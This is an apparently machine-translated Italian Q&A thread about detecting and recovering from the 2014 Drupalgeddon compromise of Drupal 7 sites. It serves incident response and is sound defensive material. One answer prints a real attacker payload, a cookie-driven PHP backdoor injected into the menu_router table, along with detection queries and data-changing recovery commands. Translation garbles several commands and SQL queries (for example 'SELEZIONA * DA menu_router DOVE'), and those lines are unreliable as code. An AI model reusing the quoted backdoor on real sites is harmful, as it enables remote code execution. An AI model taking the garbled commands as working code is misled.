Drupal SA-CORE-2014-005 - Come sapere se il mio server / i miei siti sono stati compromessi?


40

Ho appena aggiornato tutti i miei siti utilizzando il metodo patch per risolvere l'exploit Drupal SA-CORE-2014-005. Ho appena letto i resoconti che proprio ieri c'è qualcuno di un IP russo che si sta infiltrando nei siti di drupal.

https://www.drupal.org/SA-CORE-2014-005

Le mie preoccupazioni principali sono ora:

  • Come faccio a sapere se i miei siti sono stati inclusi?
  • Cosa devo cercare nei miei log di accesso di Apache per rilevare se il mio sito è stato una vittima o no?
  • Finora cosa stanno facendo questi hacker su siti compresi?

7
Ora c'è un modulo per questo drupal.org/project/drupalgeddon
mikeytown2

cosa succede se non ho un alias impostato per 100 siti drupal? quali sono alcuni hack comuni che trovi in ​​modo che sappiamo cosa fare per grep?
Patoshi パ ト シ


1
@duckx Controlla il codice nel modulo drupalgeddon e troverai quegli hack comuni; non possiamo elencare ogni possibile modifica che un utente malintenzionato può apportare con pieno accesso a un database, per ovvie ragioni. Possono apportare qualsiasi modifica che l'utente mysql di Drupal disponga delle autorizzazioni, questo è il punto. Quindi letteralmente l'unico modo per dirlo con certezza è confrontare il tuo database corrente con una buona versione conosciuta. Se stai cercando un pulsante da premere che sarà affidabile, preciso al 100%, ti dirà se il tuo sito è stato compromesso o meno, stai sognando che ho paura :)
Clive

Ducky: se non hai impostato gli alias e hai 100 siti, sarà più facile impostare gli alias piuttosto che gestirli manualmente? Ottieni un elenco di radici e URL del sito e puoi trasformarlo in un set di alias da lì.
Chris Burgess,

Risposte:


6

Ecco alcune query SQL che possono essere eseguite sui DB del tuo sito per verificare la presenza di utenti con privilegi di amministratore e quali di questi hanno avuto accesso al post del sito il 15 ottobre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Ciao e benvenuto in Drupal Answers. Puoi migliorare la tua risposta fornendo un piccolo riassunto della pagina fornita.
Wtower,

A proposito, si consiglia di verificare la presenza di utenti creati dopo il 15 ottobre. Questo utilizza il createdcampo dalla tabella degli utenti. Non è garantito che la persona che ha iniettato SQL rispetti il ​​valore del campo, il che rende questo controllo non abbastanza utile. In effetti, mi è venuto in mente che l'iniezione da parte dell'utente comune con il nome è drupaldevstata presumibilmente creata 44 settimane fa. Per quanto riguarda la seconda raccomandazione, ancora una volta non è garantito che l'utente iniettato abbia effettivamente effettuato l'accesso.
Wtower,

29

Se stai leggendo questo articolo e speri di controllare un sito Drupal 7 più di un mese dopo l'exploit, probabilmente è già stato violato il tuo sito . La soluzione migliore è ripristinare un backup prima dell'inizio degli attacchi e procedere da lì.

C'è una FAQ su SA-CORE-2014-005 .

Come faccio a sapere se i miei siti sono stati compromessi?

Un modo per verificare rapidamente se i siti sono compromessi è con il comando drush Drupalgeddon.

Installa al tuo ~/.drushcondrush dl drupalgeddon

Quindi utilizzare drush drupalgeddon-testper testare. Gli alias Drush lo rendono facile e veloce.

Questo strumento può confermare un sito sfruttato, ma non può garantire che il tuo sito non sia stato sfruttato. Non esiste un "buono stato di salute pulito" a meno che non sia stato aggiornato prima dell'inizio degli attacchi.


Il modulo di audit dei siti include alcuni dei controlli di Drupalgeddon e fornisce anche input molto più utili. Lo consiglio vivamente. (EDIT: Ora lavorano insieme - super bello!)


Security Review non controlla gli attacchi di Drupalgeddon, ma vale la pena averlo anche nella cintura degli strumenti.


Se la base di codice del tuo sito era scrivibile per l'utente www, puoi anche verificare la presenza di codice modificato utilizzando il modulo compromesso. Questo modulo potrebbe non fare quello che pensi basandoti solo sul suo nome :)


Sebbene non esista un solo modo per identificare tutti i siti compromessi, questi strumenti possono aiutarti a identificare le indicazioni più comuni.


Cosa devo cercare nei miei log di accesso di Apache per rilevare se il mio sito è stato una vittima o no?

I tuoi log di accesso conterranno molte richieste POST ormai. A meno che tu non abbia fatto il passo insolito di registrare tutti i dati dei post prima del bug, è improbabile che tu abbia le informazioni per dire quali di questi sono dannosi.

Finora cosa fanno questi hacker ai siti compromessi?

Molti segnalano che i loro siti sono stati corretti dagli hacker! Come attaccante, questo ha senso: non vuoi che il tuo nuovo sito dirottato venga espulso da sotto di te dal prossimo attaccante :)

A parte questo, immagino che i siti vengano utilizzati per raccogliere tutti i dati preziosi presenti (forse prendere alcuni crediti, forse sollevare i dettagli delle transazioni dopo lo sfruttamento) e fare cose noiose come inviare spam e lavorare come umili schiavi botnet. Oh, e amplia ulteriormente l'impero dell'attaccante di siti Drupal dirottati. (Mi dispiace, non ho siti hackerati da osservare.)


Puoi chiarire? Qualsiasi attacco avrebbe sempre inizio con una richiesta POST? Sto esaminando i miei registri per eventuali POSTS. Ho individuato quello dall'IP 62.76.191.119 dopo che avevo patchato.
Lance Holland,

Avevo un sito vittima di questo exploit e sembrava che gli aggressori lo usassero per inviare tonnellate di spam dal server.
ciclico

24

Alcuni controlli per attacchi comuni sono (questo non è un elenco esaustivo, ma sono alcuni degli attacchi visti finora in natura):

  • Controlla il tuo account utente 1 per assicurarti che il suo nome utente, indirizzo e-mail o password siano quelli che ti aspetti che siano. Controlla anche tutti gli altri account utente che hanno livelli elevati di autorizzazioni, se possibile.
  • Verifica la presenza di nuovi account utente che sembrano sospetti.
  • Controlla le modifiche ai ruoli sul tuo sistema, ad esempio nuovi ruoli o ruoli rinominati.
  • Controlla le modifiche alle autorizzazioni. L'aspetto più importante di questo è assicurarsi che il ruolo utente anonimo (o altri ruoli che chiunque può iscriversi per ottenere) non sia stato modificato per consentire loro un maggiore accesso.
  • Verifica la presenza di nuovi blocchi personalizzati che potrebbero contenere codice dannoso.
  • Verifica la presenza di nuovi nodi personalizzati che potrebbero contenere codice dannoso.
  • Controlla i file sul tuo file system che non dovrebbero essere lì. Questo è facile se usi il controllo versione perché puoi fare git status o svn st per vedere se ci sono nuovi file.
  • Se hanno caricato file dannosi, è possibile controllare i registri di accesso per individuare hit su nomi di file strani con cui non si ha familiarità.
  • Controllare la tabella del database del router del menu per voci dannose. Ad esempio (il modulo drupalgeddon / plugin drush su drupal.org ha un buon script per controllare questa tabella in modo più approfondito):

    SELEZIONA * DA menu_router DOVE access_callback = 'file_put_contents';

  • È anche possibile sfogliare la tabella del router del menu per voci dall'aspetto strano.

Alcune cose che gli hacker stanno cercando di fare sono:

  • Inserisci i file di script php sul tuo sito che possono quindi eseguire colpendoli in un browser. Questi script possono fare una vasta gamma di cose dannose. Ciò si ottiene aggiungendo voci di router del menu dannoso.
  • Crea account per gli utenti amministratori affinché possano usarli per fare cose cattive sul tuo sito o subentrare nel tuo sito.
  • Modificare l'indirizzo e-mail dell'utente 1 in modo che possano reimpostare la password per quell'account e rilevarlo.
  • Modifica le autorizzazioni per i ruoli utente accessibili al pubblico.
  • Aggiungi blocchi / nodi / ecc. che può contenere codice dannoso. Se hai attivato il filtro PHP, questo è ancora più un problema.

Sfortunatamente ci sono così tante cose che un utente malintenzionato potrebbe fare nel tuo database che è piuttosto difficile fornire un elenco completo di possibilità. Potrebbero fare cose che provano a ottenere il controllo del tuo sito, oppure potrebbero semplicemente rompere il tuo sito ma eliminando tabelle o colonne del database, ecc.

Potrebbero anche apportare piccole modifiche alla configurazione del sito, come cambiare il nome del tuo sito o qualcosa del genere, che non è la fine del mondo ma è ancora problematico.

Fondamentalmente, qualsiasi cosa tu possa fare nel tuo database eseguendo un comando SQL, un attaccante potrebbe teoricamente farlo.

Tutti i moduli citati nella risposta di Chris Burgess sono molto utili per controllare queste cose.


1
Devi essere stato colpito da 62.76.191.119. In genere sembra che questo IP stia cercando di inserire un file nel tuo docroot tramite menu_router e possibilmente altre cose cattive nel tuo DB. puoi leggere i commenti su drupal.org/node/2357241 .
scorri il

Non sono stato colpito da nessuno fino a quando le mie ricerche sui miei siti hanno mostrato finora. Queste sono solo informazioni per aiutare l'OP.
rooby,

come potrei andare su "Controlla la tabella del database del router menu per le voci dannose:"? sono su un server centos e ho root.
Patoshi パ ト シ

È possibile eseguire il comando di database "SELEZIONA * DA menu_router" e quindi scorrere tutti attraverso di essi per verificare le righe che sembrano fuori posto. C'è anche un comando più specifico menzionato nella mia risposta che cerca un attacco specifico che è noto e viene utilizzato per caricare file sul tuo server.
rooby,

Quel IP 62.76.191.119 tenta di sfruttare la vulnerabilità dei miei siti entro un giorno dal rilascio dell'aggiornamento della sicurezza. Ho bandito da tutti i miei siti. Sono stato molto fortunato ad aver aggiornato i miei siti in tempo. Era strano perché stava colpendo i miei siti in ordine alfabetico.
Cayerdis,

10

Penso che seguirei il consiglio drupal.org " Dovresti procedere supponendo che ogni sito Web di Drupal 7 fosse compromesso a meno che non fosse aggiornato o aggiornato prima del 15 ottobre, alle 23:00 UTC, cioè 7 ore dopo l'annuncio ". Come ha detto Bevan in questo commento "Aggiornamento o patch Drupal non corregge le backdoor installate dagli attaccanti prima di aggiornare o patch Drupal."

Bevan ha anche realizzato il seguente diagramma del flusso di lavoro per aiutarti ad analizzare se potresti essere stato infettato e come recuperare e prevenire . Tuttavia, chiede a tutti di andare al suo articolo originale per assicurarsi di disporre dell'ultima versione del flusso di lavoro. Inoltre, Acquia pubblica un articolo interessante sugli attacchi e sui modelli che ha subito in Acquia Cloud

 diagramma di flusso per capire se sei vulnerabile, se potresti essere stato infettato e come ripristinarlo


4

Citazione da: https://www.drupal.org/node/2357241#comment-9258955

Questo è un esempio del file che viene inserito nella tabella menu_router colonna access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Come puoi vedere sta cercando di creare i file module / image / vzoh.php ma dato che ho solo i permessi di lettura all'interno di quelle directory con cui php fallisce.

Rapporti di persone che trovano file simili creati facendo una ricerca nella tua directory di drupal: https://www.drupal.org/node/2357241#comment-9260017


Quello che ho fatto è stato fare il seguente comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citato da: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Visualizzazione dei file che sono stati modificati sul server live: stato git

Ricerca di tentativi di esecuzione del codice tramite menu_router: selezionare * da menu_router dove access_callback = 'file_put_contents'

Mostrare quali file si trovano sul server live e non nel controllo versione: diff -r docroot repo | grep docroot | grep 'Solo in docroot'

Trovare file PHP nella directory dei file: trova. -path "* php"

Verifica del tempo che intercorre tra il momento in cui un utente ha effettuato l'accesso al tuo sito e la sua visita alla pagina più recente: seleziona (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dagli utenti interni delle sessioni su s.uid = u.uid;


3

Un ottimo elenco di comandi per dire se sei stato compreso.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
Invece di dare risposte separate, forse dovresti modificare il primo e aggiungere ulteriori informazioni?
ciclico

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.